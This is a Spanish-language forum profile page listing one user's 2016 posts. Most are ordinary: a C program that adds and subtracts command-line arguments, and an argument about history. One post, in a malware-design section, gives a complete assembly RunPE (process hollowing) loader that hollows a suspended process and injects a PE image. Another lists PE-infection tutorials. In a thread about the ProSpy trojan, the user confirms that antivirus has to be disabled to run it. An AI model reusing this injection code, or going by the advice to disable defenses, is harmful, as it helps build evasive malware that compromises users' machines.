Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - fary

#501
Seguridad / Re: Ayuda con virus
18 Enero 2016, 21:27 PM
Tienes una muestra del virus? Podrías subirlo?

Saludos.
#502
Cita de: Yoel Alejandro en 18 Enero 2016, 16:19 PM
Fair, ¿por qué es errónea? En todo caso no eres quién mandó el ejercicio, así que no conoces el criterio de lo que se está pidiendo o como se espera hacerlo.

Yo trato de dar la respuesta más amplia posible, no sólo la que encuadra con mi preferencia personal, o la forma como YO lo haría.

Se trata de pedir dos números, y devolver su suma y su resta. Es mi opinión se pueden pedir como argumentos de main(), o de cualquier función auxiliar dentro del programa.

En términos de eficiencia e implementación es diferente, pero estoy tratando de dar una respuesta EN LA MISMA LÍNEA QUE PLANTEÓ ORIGINALMENTE EL USUARIO, es decir, respetando su esfuerzo y criterio original, para que mi respuesta pueda ser realmente útil a él.

En vez de lucirme explicando la manera sensacional COMO YO LO HARÍA, en cuyo caso me estaría respondiendo a mí mismo y no a él.

Saludos, Yoel.

Cita de: Orb en 18 Enero 2016, 14:25 PM
Buenas, tengo este ejercicio :
escribir un programa que reciba dos números como parámetros y muestre por pantalla la syma y la resta de esos dos valores.

Yo con esta descripción no entiendo que el programa pida dos números, si no que se le deben pasar como argumento.

Para entender esto no me hace falta mandar yo el ejercicio.

Por otra parte si con ese enunciado lo que quiere el profesor es que el usuario ingrese dos numeros desde la consola que no es lo mismo que un programa reciba dos numeros como parametros estamos ante un profesor pésimo ó por lo menos su forma de expresarse.

saludos.
#503
Le estais dando una respuesta erronea, la solución a su ejercicio es esta:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
    if (argc != 3)
    {
        printf("Error, no introduciste los parametros.");
    }else{
        int n1 = atoi(argv[1]);
        int n2 = atoi(argv[2]);

        printf("La suma de los numeros es: %i\n", n1 + n2);
        printf("La resta de los numeros es: %i\n", n1 - n2);
    }
    getchar();
    return(0);
}


Salida del programa:

C:\Users\Juan\Desktop\Ejemplo\bin\Debug>Ejemplo.exe 5 4
La suma de los numeros es: 9
La resta de los numeros es: 1


saludos.
#504
Esta mal.

Lee esto sobre los argumentos del main.

http://decsai.ugr.es/~jfv/ed1/c/cdrom/cap6/cap64.htm

Saludos.
#505
Análisis y Diseño de Malware / Formato PE.
18 Enero 2016, 01:19 AM
¿Qué es el formato PE?

Según wikipedia:

CitarEl formato Portable Executable (PE) es un formato de archivo para archivos ejecutables, de código objeto, bibliotecas de enlace dinámico (DLL), archivos de fuentes FON, y otros usados en versiones de 32 bit y 64 bit del sistema operativo Microsoft Windows.

En palabras sencillas, es la estructura que tienen los archivos ejecutables.




¿Para qué nos sirve en malware?

Pues teniendo conocimientos del PE podemos desde infectar un ejecutable, hasta cargarlo en memoria sin que toque el disco (RunPE), cargar funciones sin importarlas, en fin, una seria de ventajas que sin su conocimiento no sería posible hacer o sería posible pero de mala manera.




Manuales

-Manual Formato PE - The Swash

-Importando funciones manualmente.   -> https://www.mediafire.com/file/hpbtm61ms4o9iet/1330-IMPORTANDO_FUNCIONES_MANUALMENTE_-_The_Swash.rar/file

-Relocaciones en ejecutables.   -> https://www.mediafire.com/file/l2jp79c06jgfs58/1331-RELOCACIONES_EN_EJECUTABLES_por_The_Swash.rar/file

Talleres

-Taller Secciones formato PE - The Swash

-Taller formato PE - Ferchu

-Cifrando Malware a mano - Zero.

Códigos

-Ret Exe Corruption - Karcrack

-Runpe en ASM - fary.

-Ampliar sección ejecutable - Zero.

-Añadir una sección - Zero.

-Base Relocation - Zero.

-Infección por TLS - The Swash.



Si se me escapa algo más por ahí, avisar!
#506
Análisis y Diseño de Malware / [ASM] RunPE
18 Enero 2016, 00:46 AM
Bueno, nunca encontre un RunPE hecho en ASM, asique hace un tiempo lo programe yo mismo.
Se los dejo por aquí...


Código (ASM) [Seleccionar]
; // RunPE
; // Programado por Juan fary (mDrinky)
; // drinky.94@hotmail.com

format PE GUI 4.0
include 'win32ax.inc'
entry start

section '.data' readable writeable

        struct CONTEXT
               ContextFlags             dd ?
               Dr0                      dd ?
               Dr1                      dd ?
               Dr2                      dd ?
               Dr3                      dd ?
               Dr6                      dd ?
               Dr7                      dd ?
               FloatSave                dd ?
               SegGs                    dd ?
               SegFs                    dd ?
               SegEs                    dd ?
               SegDs                    dd ?
               Edi                      dd ?
               Esi                      dd ?
               Ebx                      dd ?
               Edx                      dd ?
               Ecx                      dd ?
               Eax                      dd ?
               Ebp                      dd ?
               Eip                      dd ?
               SegCs                    dd ?
               EFlags                   dd ?
               Esp                      dd ?
               SegSs                    dd ?
               ExtendedRegisters        rb 512
        ends

        calc            db 'c:\windows\system32\calc.exe',0
        bleidos         dd 0
        Datos           dd 0
        Espacio         dd 0

        _SI                   STARTUPINFO ?
        _PI                   PROCESS_INFORMATION ?
        CTX                   CONTEXT ?

        Param2          dd 0

        ; Datos PE
        imagebase       dd ?
        sizeofheaders   dd ?
        sizeofimage     dd ?
        numseciones     dd ?


section '.code' executable readable writeable
start:
        invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI

        invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0      ; nos autoleemos
        mov ebx,eax
        invoke GetFileSize,ebx,0
        mov edi,eax
        invoke GlobalAlloc,GPTR,edi
        push eax
        invoke ReadFile,ebx,eax,edi,addr bleidos,0
        invoke CloseHandle,ebx
        pop eax

        mov [Datos],eax

        cmp word[eax],'MZ'
        jne salir

        add eax,dword[eax+0x3C]  ; PE

        cmp word[eax],'PE'
        jne salir

        push dword[eax+0x34] ; imagebase
        pop [imagebase]

        push dword[eax+0x54] ; sizeofheaders
        pop [sizeofheaders]

        push dword[eax+0x50]
        pop [sizeofimage]    ; sizeofimage

        movzx ebx,word[eax+0x6] ; numero de secciones
        mov [numseciones],ebx

        push eax  ; guardamos ya EAX para el final

        push eax
        invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
        invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
        mov [Espacio],eax
        invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
        pop eax

        mov ecx,0

        add eax,0xF8 ; posicionamos en las cabeceras de sección

        EscribirSecciones:

        inc ecx

        push ecx
        push eax

        mov ebx,eax
        mov ebx,dword[ebx+0xC]      ; imagebase
        add ebx,[imagebase]

        mov [Param2],ebx

        mov ebx,eax
        mov ebx,dword[ebx+0x14]
        mov edx,[Datos]
        add edx,ebx

        mov ebx,eax
        mov ebx,dword[ebx+0x10]

        invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0

        pop eax
        pop ecx

        add eax,0x28  ; Siguiente IMAGE_SECTION_HEADER

        cmp ecx,[numseciones]
        jne EscribirSecciones

        invoke GetThreadContext,[_PI.hProcess],CTX

        invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0

        pop eax

        add eax,dword[eax+0x3C]
        mov eax,dword[eax+0x28]

        mov [CTX.Eax],eax ; EntryPoint

        invoke SetThreadContext,[_PI.hProcess],CTX

        invoke ResumeThread,[_PI.hThread]

        salir:
        ret

section '.idata' import data readable writeable
        library NTDLL,'NTDLL.DLL',\
                KERNEL32,'KERNEL32.DLL'

        import KERNEL32,\
                CreateProcessA,'CreateProcessA',\
                CreateFileA,'CreateFileA',\
                GetFileSize,'GetFileSize',\
                GlobalAlloc,'GlobalAlloc',\
                ReadFile,'ReadFile',\
                CloseHandle,'CloseHandle',\
                VirtualAllocEx,'VirtualAllocEx',\
                WriteProcessMemory,'WriteProcessMemory',\
                GetThreadContext,'GetThreadContext',\
                SetThreadContext,'SetThreadContext',\
                ResumeThread,'ResumeThread'

        import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection'

#507
Por favor, este tema es de la bruja lola  :laugh: no lo devieis!
#508
Eso es mentira, Alemania estaba endeudada por su mala cabeza y por la que armó en la primera guerra mundial. No todos los países estaban endeudados.

Ese hombre fue un asesino y un loco y por donde lo mires no hay por donde cogerlo, no hizo nada bueno y acabo con la vida de millones de personas.... Y el que no quiera verlo pues no se....

Son 6 horas de vuestra vida que perdereis escuchando mentiras si veis el video.
#509
Seguridad / Re: dudas con prospyrat
16 Enero 2016, 01:04 AM
Cita de: fjfran en 16 Enero 2016, 00:59 AM
y que tengo que hacer desactivar el antivirus para poder ejecutarlo?

Sí.
#510
Seguridad / Re: dudas con prospyrat
15 Enero 2016, 22:18 PM
No es que tenga un troyano, es que el ProSpy es un troyano.  :xD

saludos.